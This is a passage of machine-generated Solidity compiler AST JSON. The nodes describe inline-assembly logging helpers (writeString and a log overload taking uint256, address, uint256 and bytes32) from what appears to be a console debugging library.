:"YulBlock","src":"239587:9:22","statements":[{"nativeSrc":"239589:5:22","nodeType":"YulBreak","src":"239589:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"239575:6:22","nodeType":"YulIdentifier","src":"239575:6:22"},{"name":"w","nativeSrc":"239583:1:22","nodeType":"YulIdentifier","src":"239583:1:22"}],"functionName":{"name":"byte","nativeSrc":"239570:4:22","nodeType":"YulIdentifier","src":"239570:4:22"},"nativeSrc":"239570:15:22","nodeType":"YulFunctionCall","src":"239570:15:22"}],"functionName":{"name":"iszero","nativeSrc":"239563:6:22","nodeType":"YulIdentifier","src":"239563:6:22"},"nativeSrc":"239563:23:22","nodeType":"YulFunctionCall","src":"239563:23:22"},"nativeSrc":"239560:36:22","nodeType":"YulIf","src":"239560:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"239515:6:22","nodeType":"YulIdentifier","src":"239515:6:22"},{"kind":"number","nativeSrc":"239523:4:22","nodeType":"YulLiteral","src":"239523:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"239512:2:22","nodeType":"YulIdentifier","src":"239512:2:22"},"nativeSrc":"239512:16:22","nodeType":"YulFunctionCall","src":"239512:16:22"},"nativeSrc":"239505:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"239529:28:22","nodeType":"YulBlock","src":"239529:28:22","statements":[{"nativeSrc":"239531:24:22","nodeType":"YulAssignment","src":"239531:24:22","value":{"arguments":[{"name":"length","nativeSrc":"239545:6:22","nodeType":"YulIdentifier","src":"239545:6:22"},{"kind":"number","nativeSrc":"239553:1:22","nodeType":"YulLiteral","src":"239553:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"239541:3:22","nodeType":"YulIdentifier","src":"239541:3:22"},"nativeSrc":"239541:14:22","nodeType":"YulFunctionCall","src":"239541:14:22"},"variableNames":[{"name":"length","nativeSrc":"239531:6:22","nodeType":"YulIdentifier","src":"239531:6:22"}]}]},"pre":{"nativeSrc":"239509:2:22","nodeType":"YulBlock","src":"239509:2:22","statements":[]},"src":"239505:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"239622:3:22","nodeType":"YulIdentifier","src":"239622:3:22"},{"name":"length","nativeSrc":"239627:6:22","nodeType":"YulIdentifier","src":"239627:6:22"}],"functionName":{"name":"mstore","nativeSrc":"239615:6:22","nodeType":"YulIdentifier","src":"239615:6:22"},"nativeSrc":"239615:19:22","nodeType":"YulFunctionCall","src":"239615:19:22"},"nativeSrc":"239615:19:22","nodeType":"YulExpressionStatement","src":"239615:19:22"},{"nativeSrc":"239651:37:22","nodeType":"YulVariableDeclaration","src":"239651:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"239668:3:22","nodeType":"YulLiteral","src":"239668:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"239677:1:22","nodeType":"YulLiteral","src":"239677:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"239680:6:22","nodeType":"YulIdentifier","src":"239680:6:22"}],"functionName":{"name":"shl","nativeSrc":"239673:3:22","nodeType":"YulIdentifier","src":"239673:3:22"},"nativeSrc":"239673:14:22","nodeType":"YulFunctionCall","src":"239673:14:22"}],"functionName":{"name":"sub","nativeSrc":"239664:3:22","nodeType":"YulIdentifier","src":"239664:3:22"},"nativeSrc":"239664:24:22","nodeType":"YulFunctionCall","src":"239664:24:22"},"variables":[{"name":"shift","nativeSrc":"239655:5:22","nodeType":"YulTypedName","src":"239655:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"239716:3:22","nodeType":"YulIdentifier","src":"239716:3:22"},{"kind":"number","nativeSrc":"239721:4:22","nodeType":"YulLiteral","src":"239721:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"239712:3:22","nodeType":"YulIdentifier","src":"239712:3:22"},"nativeSrc":"239712:14:22","nodeType":"YulFunctionCall","src":"239712:14:22"},{"arguments":[{"name":"shift","nativeSrc":"239732:5:22","nodeType":"YulIdentifier","src":"239732:5:22"},{"arguments":[{"name":"shift","nativeSrc":"239743:5:22","nodeType":"YulIdentifier","src":"239743:5:22"},{"name":"w","nativeSrc":"239750:1:22","nodeType":"YulIdentifier","src":"239750:1:22"}],"functionName":{"name":"shr","nativeSrc":"239739:3:22","nodeType":"YulIdentifier","src":"239739:3:22"},"nativeSrc":"239739:13:22","nodeType":"YulFunctionCall","src":"239739:13:22"}],"functionName":{"name":"shl","nativeSrc":"239728:3:22","nodeType":"YulIdentifier","src":"239728:3:22"},"nativeSrc":"239728:25:22","nodeType":"YulFunctionCall","src":"239728:25:22"}],"functionName":{"name":"mstore","nativeSrc":"239705:6:22","nodeType":"YulIdentifier","src":"239705:6:22"},"nativeSrc":"239705:49:22","nodeType":"YulFunctionCall","src":"239705:49:22"},"nativeSrc":"239705:49:22","nodeType":"YulExpressionStatement","src":"239705:49:22"}]},"name":"writeString","nativeSrc":"239426:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"239447:3:22","nodeType":"YulTypedName","src":"239447:3:22","type":""},{"name":"w","nativeSrc":"239452:1:22","nodeType":"YulTypedName","src":"239452:1:22","type":""}],"src":"239426:342:22"},{"nativeSrc":"239781:17:22","nodeType":"YulAssignment","src":"239781:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239793:4:22","nodeType":"YulLiteral","src":"239793:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"239787:5:22","nodeType":"YulIdentifier","src":"239787:5:22"},"nativeSrc":"239787:11:22","nodeType":"YulFunctionCall","src":"239787:11:22"},"variableNames":[{"name":"m0","nativeSrc":"239781:2:22","nodeType":"YulIdentifier","src":"239781:2:22"}]},{"nativeSrc":"239811:17:22","nodeType":"YulAssignment","src":"239811:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239823:4:22","nodeType":"YulLiteral","src":"239823:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"239817:5:22","nodeType":"YulIdentifier","src":"239817:5:22"},"nativeSrc":"239817:11:22","nodeType":"YulFunctionCall","src":"239817:11:22"},"variableNames":[{"name":"m1","nativeSrc":"239811:2:22","nodeType":"YulIdentifier","src":"239811:2:22"}]},{"nativeSrc":"239841:17:22","nodeType":"YulAssignment","src":"239841:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239853:4:22","nodeType":"YulLiteral","src":"239853:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"239847:5:22","nodeType":"YulIdentifier","src":"239847:5:22"},"nativeSrc":"239847:11:22","nodeType":"YulFunctionCall","src":"239847:11:22"},"variableNames":[{"name":"m2","nativeSrc":"239841:2:22","nodeType":"YulIdentifier","src":"239841:2:22"}]},{"nativeSrc":"239871:17:22","nodeType":"YulAssignment","src":"239871:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239883:4:22","nodeType":"YulLiteral","src":"239883:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"239877:5:22","nodeType":"YulIdentifier","src":"239877:5:22"},"nativeSrc":"239877:11:22","nodeType":"YulFunctionCall","src":"239877:11:22"},"variableNames":[{"name":"m3","nativeSrc":"239871:2:22","nodeType":"YulIdentifier","src":"239871:2:22"}]},{"nativeSrc":"239901:17:22","nodeType":"YulAssignment","src":"239901:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239913:4:22","nodeType":"YulLiteral","src":"239913:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"239907:5:22","nodeType":"YulIdentifier","src":"239907:5:22"},"nativeSrc":"239907:11:22","nodeType":"YulFunctionCall","src":"239907:11:22"},"variableNames":[{"name":"m4","nativeSrc":"239901:2:22","nodeType":"YulIdentifier","src":"239901:2:22"}]},{"nativeSrc":"239931:17:22","nodeType":"YulAssignment","src":"239931:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239943:4:22","nodeType":"YulLiteral","src":"239943:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"239937:5:22","nodeType":"YulIdentifier","src":"239937:5:22"},"nativeSrc":"239937:11:22","nodeType":"YulFunctionCall","src":"239937:11:22"},"variableNames":[{"name":"m5","nativeSrc":"239931:2:22","nodeType":"YulIdentifier","src":"239931:2:22"}]},{"nativeSrc":"239961:17:22","nodeType":"YulAssignment","src":"239961:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"239973:4:22","nodeType":"YulLiteral","src":"239973:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"239967:5:22","nodeType":"YulIdentifier","src":"239967:5:22"},"nativeSrc":"239967:11:22","nodeType":"YulFunctionCall","src":"239967:11:22"},"variableNames":[{"name":"m6","nativeSrc":"239961:2:22","nodeType":"YulIdentifier","src":"239961:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240064:4:22","nodeType":"YulLiteral","src":"240064:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"240070:10:22","nodeType":"YulLiteral","src":"240070:10:22","type":"","value":"0xddb06521"}],"functionName":{"name":"mstore","nativeSrc":"240057:6:22","nodeType":"YulIdentifier","src":"240057:6:22"},"nativeSrc":"240057:24:22","nodeType":"YulFunctionCall","src":"240057:24:22"},"nativeSrc":"240057:24:22","nodeType":"YulExpressionStatement","src":"240057:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240101:4:22","nodeType":"YulLiteral","src":"240101:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"240107:2:22","nodeType":"YulIdentifier","src":"240107:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240094:6:22","nodeType":"YulIdentifier","src":"240094:6:22"},"nativeSrc":"240094:16:22","nodeType":"YulFunctionCall","src":"240094:16:22"},"nativeSrc":"240094:16:22","nodeType":"YulExpressionStatement","src":"240094:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240130:4:22","nodeType":"YulLiteral","src":"240130:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"240136:2:22","nodeType":"YulIdentifier","src":"240136:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240123:6:22","nodeType":"YulIdentifier","src":"240123:6:22"},"nativeSrc":"240123:16:22","nodeType":"YulFunctionCall","src":"240123:16:22"},"nativeSrc":"240123:16:22","nodeType":"YulExpressionStatement","src":"240123:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240159:4:22","nodeType":"YulLiteral","src":"240159:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"240165:2:22","nodeType":"YulIdentifier","src":"240165:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240152:6:22","nodeType":"YulIdentifier","src":"240152:6:22"},"nativeSrc":"240152:16:22","nodeType":"YulFunctionCall","src":"240152:16:22"},"nativeSrc":"240152:16:22","nodeType":"YulExpressionStatement","src":"240152:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240188:4:22","nodeType":"YulLiteral","src":"240188:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"240194:4:22","nodeType":"YulLiteral","src":"240194:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"240181:6:22","nodeType":"YulIdentifier","src":"240181:6:22"},"nativeSrc":"240181:18:22","nodeType":"YulFunctionCall","src":"240181:18:22"},"nativeSrc":"240181:18:22","nodeType":"YulExpressionStatement","src":"240181:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240224:4:22","nodeType":"YulLiteral","src":"240224:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"240230:2:22","nodeType":"YulIdentifier","src":"240230:2:22"}],"functionName":{"name":"writeString","nativeSrc":"240212:11:22","nodeType":"YulIdentifier","src":"240212:11:22"},"nativeSrc":"240212:21:22","nodeType":"YulFunctionCall","src":"240212:21:22"},"nativeSrc":"240212:21:22","nodeType":"YulExpressionStatement","src":"240212:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41672,"isOffset":false,"isSlot":false,"src":"239781:2:22","valueSize":1},{"declaration":41675,"isOffset":false,"isSlot":false,"src":"239811:2:22","valueSize":1},{"declaration":41678,"isOffset":false,"isSlot":false,"src":"239841:2:22","valueSize":1},{"declaration":41681,"isOffset":false,"isSlot":false,"src":"239871:2:22","valueSize":1},{"declaration":41684,"isOffset":false,"isSlot":false,"src":"239901:2:22","valueSize":1},{"declaration":41687,"isOffset":false,"isSlot":false,"src":"239931:2:22","valueSize":1},{"declaration":41690,"isOffset":false,"isSlot":false,"src":"239961:2:22","valueSize":1},{"declaration":41662,"isOffset":false,"isSlot":false,"src":"240107:2:22","valueSize":1},{"declaration":41664,"isOffset":false,"isSlot":false,"src":"240136:2:22","valueSize":1},{"declaration":41666,"isOffset":false,"isSlot":false,"src":"240165:2:22","valueSize":1},{"declaration":41668,"isOffset":false,"isSlot":false,"src":"240230:2:22","valueSize":1}],"id":41692,"nodeType":"InlineAssembly","src":"239403:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41694,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"240268:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41695,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"240274:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41693,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"240252:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"240252:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41697,"nodeType":"ExpressionStatement","src":"240252:27:22"},{"AST":{"nativeSrc":"240298:214:22","nodeType":"YulBlock","src":"240298:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"240319:4:22","nodeType":"YulLiteral","src":"240319:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"240325:2:22","nodeType":"YulIdentifier","src":"240325:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240312:6:22","nodeType":"YulIdentifier","src":"240312:6:22"},"nativeSrc":"240312:16:22","nodeType":"YulFunctionCall","src":"240312:16:22"},"nativeSrc":"240312:16:22","nodeType":"YulExpressionStatement","src":"240312:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240348:4:22","nodeType":"YulLiteral","src":"240348:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"240354:2:22","nodeType":"YulIdentifier","src":"240354:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240341:6:22","nodeType":"YulIdentifier","src":"240341:6:22"},"nativeSrc":"240341:16:22","nodeType":"YulFunctionCall","src":"240341:16:22"},"nativeSrc":"240341:16:22","nodeType":"YulExpressionStatement","src":"240341:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240377:4:22","nodeType":"YulLiteral","src":"240377:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"240383:2:22","nodeType":"YulIdentifier","src":"240383:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240370:6:22","nodeType":"YulIdentifier","src":"240370:6:22"},"nativeSrc":"240370:16:22","nodeType":"YulFunctionCall","src":"240370:16:22"},"nativeSrc":"240370:16:22","nodeType":"YulExpressionStatement","src":"240370:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240406:4:22","nodeType":"YulLiteral","src":"240406:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"240412:2:22","nodeType":"YulIdentifier","src":"240412:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240399:6:22","nodeType":"YulIdentifier","src":"240399:6:22"},"nativeSrc":"240399:16:22","nodeType":"YulFunctionCall","src":"240399:16:22"},"nativeSrc":"240399:16:22","nodeType":"YulExpressionStatement","src":"240399:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240435:4:22","nodeType":"YulLiteral","src":"240435:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"240441:2:22","nodeType":"YulIdentifier","src":"240441:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240428:6:22","nodeType":"YulIdentifier","src":"240428:6:22"},"nativeSrc":"240428:16:22","nodeType":"YulFunctionCall","src":"240428:16:22"},"nativeSrc":"240428:16:22","nodeType":"YulExpressionStatement","src":"240428:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240464:4:22","nodeType":"YulLiteral","src":"240464:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"240470:2:22","nodeType":"YulIdentifier","src":"240470:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240457:6:22","nodeType":"YulIdentifier","src":"240457:6:22"},"nativeSrc":"240457:16:22","nodeType":"YulFunctionCall","src":"240457:16:22"},"nativeSrc":"240457:16:22","nodeType":"YulExpressionStatement","src":"240457:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"240493:4:22","nodeType":"YulLiteral","src":"240493:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"240499:2:22","nodeType":"YulIdentifier","src":"240499:2:22"}],"functionName":{"name":"mstore","nativeSrc":"240486:6:22","nodeType":"YulIdentifier","src":"240486:6:22"},"nativeSrc":"240486:16:22","nodeType":"YulFunctionCall","src":"240486:16:22"},"nativeSrc":"240486:16:22","nodeType":"YulExpressionStatement","src":"240486:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41672,"isOffset":false,"isSlot":false,"src":"240325:2:22","valueSize":1},{"declaration":41675,"isOffset":false,"isSlot":false,"src":"240354:2:22","valueSize":1},{"declaration":41678,"isOffset":false,"isSlot":false,"src":"240383:2:22","valueSize":1},{"declaration":41681,"isOffset":false,"isSlot":false,"src":"240412:2:22","valueSize":1},{"declaration":41684,"isOffset":false,"isSlot":false,"src":"240441:2:22","valueSize":1},{"declaration":41687,"isOffset":false,"isSlot":false,"src":"240470:2:22","valueSize":1},{"declaration":41690,"isOffset":false,"isSlot":false,"src":"240499:2:22","valueSize":1}],"id":41698,"nodeType":"InlineAssembly","src":"240289:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"239187:3:22","parameters":{"id":41669,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41662,"mutability":"mutable","name":"p0","nameLocation":"239199:2:22","nodeType":"VariableDeclaration","scope":41700,"src":"239191:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41661,"name":"uint256","nodeType":"ElementaryTypeName","src":"239191:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41664,"mutability":"mutable","name":"p1","nameLocation":"239211:2:22","nodeType":"VariableDeclaration","scope":41700,"src":"239203:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41663,"name":"address","nodeType":"ElementaryTypeName","src":"239203:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41666,"mutability":"mutable","name":"p2","nameLocation":"239223:2:22","nodeType":"VariableDeclaration","scope":41700,"src":"239215:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41665,"name":"uint256","nodeType":"ElementaryTypeName","src":"239215:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41668,"mutability":"mutable","name":"p3","nameLocation":"239235:2:22","nodeType":"VariableDeclaration","scope":41700,"src":"239227:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41667,"name":"bytes32","nodeType":"ElementaryTypeName","src":"239227:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"239190:48:22"},"returnParameters":{"id":41670,"nodeType":"ParameterList","parameters":[],"src":"239253:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41740,"nodeType":"FunctionDefinition","src":"240524:1340:22","nodes":[],"body":{"id":41739,"nodeType":"Block","src":"240599:1265:22","nodes":[],"statements":[{"assignments":[41712],"declarations":[{"constant":false,"id":41712,"mutability":"mutable","name":"m0","nameLocation":"240617:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240609:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41711,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240609:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41713,"nodeType":"VariableDeclarationStatement","src":"240609:10:22"},{"assignments":[41715],"declarations":[{"constant":false,"id":41715,"mutability":"mutable","name":"m1","nameLocation":"240637:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240629:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41714,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240629:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41716,"nodeType":"VariableDeclarationStatement","src":"240629:10:22"},{"assignments":[41718],"declarations":[{"constant":false,"id":41718,"mutability":"mutable","name":"m2","nameLocation":"240657:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41717,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41719,"nodeType":"VariableDeclarationStatement","src":"240649:10:22"},{"assignments":[41721],"declarations":[{"constant":false,"id":41721,"mutability":"mutable","name":"m3","nameLocation":"240677:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240669:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41720,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240669:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41722,"nodeType":"VariableDeclarationStatement","src":"240669:10:22"},{"assignments":[41724],"declarations":[{"constant":false,"id":41724,"mutability":"mutable","name":"m4","nameLocation":"240697:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240689:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240689:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41725,"nodeType":"VariableDeclarationStatement","src":"240689:10:22"},{"assignments":[41727],"declarations":[{"constant":false,"id":41727,"mutability":"mutable","name":"m5","nameLocation":"240717:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240709:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240709:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41728,"nodeType":"VariableDeclarationStatement","src":"240709:10:22"},{"assignments":[41730],"declarations":[{"constant":false,"id":41730,"mutability":"mutable","name":"m6","nameLocation":"240737:2:22","nodeType":"VariableDeclaration","scope":41739,"src":"240729:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240729:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41731,"nodeType":"VariableDeclarationStatement","src":"240729:10:22"},{"AST":{"nativeSrc":"240758:831:22","nodeType":"YulBlock","src":"240758:831:22","statements":[{"body":{"nativeSrc":"240801:313:22","nodeType":"YulBlock","src":"240801:313:22","statements":[{"nativeSrc":"240819:15:22","nodeType":"YulVariableDeclaration","src":"240819:15:22","value":{"kind":"number","nativeSrc":"240833:1:22","nodeType":"YulLiteral","src":"240833:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"240823:6:22","nodeType":"YulTypedName","src":"240823:6:22","type":""}]},{"body":{"nativeSrc":"240904:40:22","nodeType":"YulBlock","src":"240904:40:22","statements":[{"body":{"nativeSrc":"240933:9:22","nodeType":"YulBlock","src":"240933:9:22","statements":[{"nativeSrc":"240935:5:22","nodeType":"YulBreak","src":"240935:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"240921:6:22","nodeType":"YulIdentifier","src":"240921:6:22"},{"name":"w","nativeSrc":"240929:1:22","nodeType":"YulIdentifier","src":"240929:1:22"}],"functionName":{"name":"byte","nativeSrc":"240916:4:22","nodeType":"YulIdentifier","src":"240916:4:22"},"nativeSrc":"240916:15:22","nodeType":"YulFunctionCall","src":"240916:15:22"}],"functionName":{"name":"iszero","nativeSrc":"240909:6:22","nodeType":"YulIdentifier","src":"240909:6:22"},"nativeSrc":"240909:23:22","nodeType":"YulFunctionCall","src":"240909:23:22"},"nativeSrc":"240906:36:22","nodeType":"YulIf","src":"240906:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"240861:6:22","nodeType":"YulIdentifier","src":"240861:6:22"},{"kind":"number","nativeSrc":"240869:4:22","nodeType":"YulLiteral","src":"240869:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"240858:2:22","nodeType":"YulIdentifier","src":"240858:2:22"},"nativeSrc":"240858:16:22","nodeType":"YulFunctionCall","src":"240858:16:22"},"nativeSrc":"240851:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"240875:28:22","nodeType":"YulBlock","src":"240875:28:22","statements":[{"nativeSrc":"240877:24:22","nodeType":"YulAssignment","src":"240877:24:22","value":{"arguments":[{"name":"length","nativeSrc":"240891:6:22","nodeType":"YulIdentifier","src":"240891:6:22"},{"kind":"number","nativeSrc":"240899:1:22","nodeType":"YulLiteral","src":"240899:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"240887:3:22","nodeType":"YulIdentifier","src":"240887:3:22"},"nativeSrc":"240887:14:22","nodeType":"YulFunctionCall","src":"240887:14:22"},"variableNames":[{"name":"length","nativeSrc":"240877:6:22","nodeType":"YulIdentifier","src":"240877:6:22"}]}]},"pre":{"nativeSrc":"240855:2:22","nodeType":"YulBlock","src":"240855:2:22","statements":[]},"src":"240851:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"240968:3:22","nodeType":"YulIdentifier","src":"240968:3:22"},{"name":"length","nativeSrc":"240973:6:22","nodeType":"YulIdentifier","src":"240973:6:22"}],"functionName":{"name":"mstore","nativeSrc":"240961:6:22","nodeType":"YulIdentifier","src":"240961:6:22"},"nativeSrc":"240961:19:22","nodeType":"YulFunctionCall","src":"240961:19:22"},"nativeSrc":"240961:19:22","nodeType":"YulExpressionStatement","src":"240961:19:22"},{"nativeSrc":"240997:37:22","nodeType":"YulVariableDeclaration","src":"240997:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"241014:3:22","nodeType":"YulLiteral","src":"241014:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"241023:1:22","nodeType":"YulLiteral","src":"241023:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"241026:6:22","nodeType":"YulIdentifier","src":"241026:6:22"}],"functionName":{"name":"shl","nativeSrc":"241019:3:22","nodeType":"YulIdentifier","src":"241019:3:22"},"nativeSrc":"241019:14:22","nodeType":"YulFunctionCall","src":"241019:14:22"}],"functionName":{"name":"sub","nativeSrc":"241010:3:22","nodeType":"YulIdentifier","src":"241010:3:22"},"nativeSrc":"241010:24:22","nodeType":"YulFunctionCall","src":"241010:24:22"},"variables":[{"name":"shift","nativeSrc":"241001:5:22","nodeType":"YulTypedName","src":"241001:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"241062:3:22","nodeType":"YulIdentifier","src":"241062:3:22"},{"kind":"number","nativeSrc":"241067:4:22","nodeType":"YulLiteral","src":"241067:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"241058:3:22","nodeType":"YulIdentifier","src":"241058:3:22"},"nativeSrc":"241058:14:22","nodeType":"YulFunctionCall","src":"241058:14:22"},{"arguments":[{"name":"shift","nativeSrc":"241078:5:22","nodeType":"YulIdentifier","src":"241078:5:22"},{"arguments":[{"name":"shift","nativeSrc":"241089:5:22","nodeType":"YulIdentifier","src":"241089:5:22"},{"name":"w","nativeSrc":"241096:1:22","nodeType":"YulIdentifier","src":"241096:1:22"}],"functionName":